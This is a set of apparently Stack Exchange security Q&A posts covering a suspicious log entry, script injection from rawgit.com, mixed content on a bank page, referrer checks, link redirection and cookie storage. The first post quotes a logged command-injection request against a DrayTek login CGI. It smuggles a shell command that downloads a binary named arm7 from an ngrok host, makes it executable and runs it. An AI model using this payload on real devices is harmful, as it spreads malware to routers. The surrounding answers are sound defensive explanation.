I've opened a web site which has only the purpose of sharing textual information. No database pugged on backend or no idea of authentication on it. However, when I looked at the log I had noticed this request:
POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a
It has occurred two time and my server respond both time a 404 response. But now I'm a little bit concerned about it. My website is running on a raspberry which is pugged to my ISP device. even if my server doesn't have any sudo rights I'm wondering if their is any risk?
Also, can someone explain me what this suspicious entries mean. What could be the risk? And finally, can you share me some tips / good behavior to have when setting up a pipe between any device (raspberry) and internet.
No need to be concerned. It is an attack, but not directed at your specific site, but rather scanning a large portion of the internet for a specific vulnerability.
The fact that your server responded with a 404 means it did not contain the vulnerable page.
This will happen on any site exposed to the public internet and is considered a part of the background noise.
I also noticed same request on my web-servers.
Here is more info about the attack:
https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-draytek-products-could-allow-for-arbitrary-code-execution_2020-043/
Related
I think my website is injected with some script that is using rawgit.com. Recently my website runs very slow with browser lower bar notification "Transferring data from rawgit.com.." or "Read rawgit.com"..." . I have never used RawGit to serve raw files directly from GitHub. I can see they are using https://cdn.rawgit.com/ domain to serve files.
I would like my website to block everything related to this domains, how can I achieve that ?
As I said in the comments, you are going about this problem in the wrong way. If your site already includes sources you do not recognise or allow, you are already compromised and your main focus should be on figuring out how you got compromised, and how much access an attacker may have gotten. Based on how much access they have gotten, you may need to scrap everything and restore a backup.
The safest thing to do is to bring the server offline while you investigate. Make sure that you still have access to the systems you need to access (e.g. ssh), but block any other remote ip. Just "blocking rawgit.com" blocks one of the symptoms you can see and allows an attacker to change their attack while you are fumbling with that.
I do not recommend to only block rawgit.com, not even when it's your first move to counter this problem, but if you want you can use the Content-Security-Policy header. You can whitelist the urls you do expect and thus block the urls you do not. See mdn for more information.
I ask here instead of https://security.stackexchange.com/ because I dont think this question is on a professional level.
I just saw something weird on my bank's website, they are fetching an image from another domain, using http instead of https , on firefox it raises a security "mixed content" alert, on chrome it just shows up an alert on the security tab.
This is the site: https://www.bancoprovincia.com.ar/Principal/BipPersonal
The unsafe content (an image) happens to be on the page just before the user logs in to his home banking, I was worried that some attacker could intercept the content and replace it with something that could be a security risk.
Any chance this is a security risk for the bank and it's clients?.
It's not a direct vulnerability, but still bad practice.
Some risks that come to mind:
An attacker having access to users' connections (man in the middle) could replace the image with a malicious one, exploiting potentially zero-day (as yet unknown) flaws in browser or operating system image processor libraries. This could lead to remote code execution on the client.
Replacing the image could also be used to facilitate phishing. The malicious image could tell the user to call a phone number because of some kind of a problem, etc.
It is an information leak. An attacker may receive information about users browsing to the bank website, also if the image is in a header included on all pages, they may receive information about what the user does. This is inherently the case for every external site that has its images linked even over https, but over http this also applies to any MitM attacker.
It is a potential availability problem. If the image on the external site times out (waits too long to download), the page will not load for some time in some browsers and an attacker could exploit that. However, this I think is not affected by the image being served on plain http, it would affect an externally linked https image as well I think.
It's also a very bad practice, because instead of strengthening good security practices in users like always checking browser indications of a secure website, it is telling them that it's ok if there are warnings. It is not.
I was looking for a way to protect a web service from "Synthetic queries". Read this security stack question for more details.
It seemed that I had little alternative, until I came across NSE India's website which implements a certain kind of measure against such synthetic queries.
I would like to know how could they have implemented a protection which works somewhat this way: You go to their website and search for a quote, lets say, RELIANCE, we get a page displaying the latest quote.
On analysis we find that the query being sent across is something like:
http://www.nseindia.com/marketinfo/equities/ajaxGetQuote.jsp?symbol=RELIANCE&series=EQ
But when we directly copy paste the query in the browser, it returns "referral denied".
I guess such a procedure may also help me. Any ideas how I may implement something similar?
It won't help you. Faking a referrer is trivial. The only protection against queries the attacker constructs is server side validation.
Referrers sometimes can be used to sometimes prevent hotlinking from other websites, but even that is rather hard to do since certain programs create fake referrers and you don't want to block those users.
The problems referrer validation could help against other websites trying to manipulate the users browser into accessing your site. Like some kinds of cross site request forgery. But it does never protect against malicious users. Against those the only thing that helps is server side validation. You can never trust the client if you don't trust the user of that client.
I've noticed that some email services (like gmail or my school's webmail) will redirect links (or used to) in the email body. So when I put "www.google.com" in the body of my email, and I check that email in gmail or something, the link says something like "gmail.com/redirect?www.google.com".
This was very confusing for me and the people I emailed (like my parents, who are not familiar with computers). I always clicked on the link anyway, but why is this service used? (I'm also worried that maybe my information was being sent somewhere... Do I have anything to worry about? Is something being stored before the redirect?)
Sorry if this is unwarranted paranoia. I am just curious about why some things work the way they do.
Wikipedia has a good article on URL redirection. From the article:
Logging outgoing links
The access logs
of most web servers keep detailed
information about where visitors came
from and how they browsed the hosted
site. They do not, however, log which
links visitors left by. This is
because the visitor's browser has no
need to communicate with the original
server when the visitor clicks on an
outgoing link. This information can be
captured in several ways. One way
involves URL redirection. Instead of
sending the visitor straight to the
other site, links on the site can
direct to a URL on the original
website's domain that automatically
redirects to the real target. This
technique bears the downside of the
delay caused by the additional request
to the original website's server. As
this added request will leave a trace
in the server log, revealing exactly
which link was followed, it can also
be a privacy issue.1 The same
technique is also used by some
corporate websites to implement a
statement that the subsequent content
is at another site, and therefore not
necessarily affiliated with the
corporation. In such scenarios,
displaying the warning causes an
additional delay.
So, yes, Google (and Facebook and Twitter do this to) are logging where your services are taking you. This is important for a variety of reasons - it lets them know how their service is being used, shows trends in data, allows links to be monetized, etc.
As far as your concerns, my personal opinion is that, if you're on the internet, you're being tracked. All the time. If this is concerning to you, I would recommend communicating differently. However, for the most part, I think it's not worth worrying about.
This redirection is a dereferrer to avoid disclosure of the URL in the HTTP Referer field to third party sites as that URL can contain sensitive data like a session ID.
I've been asked to analyse an old web app which stores sensitive information in cookies rather than sessions/similar. (To be precise, it's classic ASP and uses cookie families). The only clients are IE 6/7/8
After the process in question has been completed on the web app, the cookies are cleared down.
The question I need to answer is: once this has happened, how hard would it be for someone to recover the information in the (deleted) cookies?
My understanding is as follows but I would appreciate some confirmation / any additional issues anyone can think of.
The cookies shouldn't be intercepted across the network as they're passed via SSL. They could be viewable in server memory/log files (the app has v. comprehensive logging)/memory dumps (?)
On the client, the cookies are stored in a text file. When the cookie is cleared down, the text file is deleted.
Although the file could be recovered by undeleting it, I believe this is encrypted by ie when it's first written? (I can't test this on ie6 but it seems to on ie7 for http and https)
Assuming it IS encrypted, can anyone confirm how secure this is?
I'm also looking into how the cookies are stored in memory and how easy it would be to retrieve them - Any advice on this would also be appreciated.
The cookies are used to access a database but again, all connections use SSL so this shouldn't be an issue. The database is locked down.
I can't see any other ways of an unauthorised user accessing the cookie contents. What - if anything - am I missing?
We're likely to change the mechanism used anyway but I do need to provide a clear list of vulnerabilities for the current system before we can proceed (to make sure they're all addressed).
Many thanks for any help you can provide.
Storing sensitive information is the vunerability, this means that one way or the other your system can be attacked by stealing information in these files.
The attack is most likely to come from the client side (if your server can be attacked that's already a problem). The only question is how the cookie can be retrieved from the client machine. Since you're using https this only leaves for someone accessing the cookie on the client machine. The vulnerability lies here. All browsers store cookies on the disk and I would doubt they encode them (why would they?). I would look into how IE7, Firefox, Google Chrome and Safari store these cookies but probably not in a really secure way. The biggest vunerability is probably here: if someone writes a program to collect this data and is able to deploy it.
If I were you I would change the application to use sessions instead cookies ASAP. The longer you wait, the bigger the risk that someone can access these credentials.